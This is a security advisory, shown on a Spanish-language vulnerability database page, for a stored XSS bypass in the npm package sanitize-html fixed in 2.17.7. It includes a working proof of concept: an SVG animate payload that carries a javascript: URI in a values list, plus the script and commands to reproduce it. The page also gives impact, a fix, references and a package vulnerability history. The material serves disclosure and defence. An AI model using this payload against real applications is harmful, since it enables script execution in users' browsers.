ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass
Summary
When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details
index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC
This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
const sanitize = require('sanitize-html');
const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
allowedAttributes: {
...sanitize.defaults.allowedAttributes,
animate: ['attributename', 'values', 'dur', 'fill'],
text: ['y']
},
allowedSchemesAppliedToAttributes:
sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);Install and run it, then open poc.html and click Click me:
npm install sanitize-html@2.17.6
node poc.js > poc.htmlThe output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact
In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix
Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | sanitize-html | >= 1.9.0, < 2.17.7 | 2.17.7 |
Referencias
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5
- https://github.com/apostrophecms/apostrophe/pull/5552
- https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081
- https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Debilidad (CWE)
CWE-79- Plataforma
- npm
- Paquete
sanitize-html- Publicada
- 01.09.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-g8qq-57p8-ggw5 - CC BY 4.0
Historial de vulnerabilidades: sanitize-html
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 15
- Primera → última
- 11.2018 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 1
- Alta 1
- Media 12
- Baja 1
Divulgaciones por año
- 2018: 2
- 2019: 0
- 2020: 1
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 1
- 2026: 7
-
ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.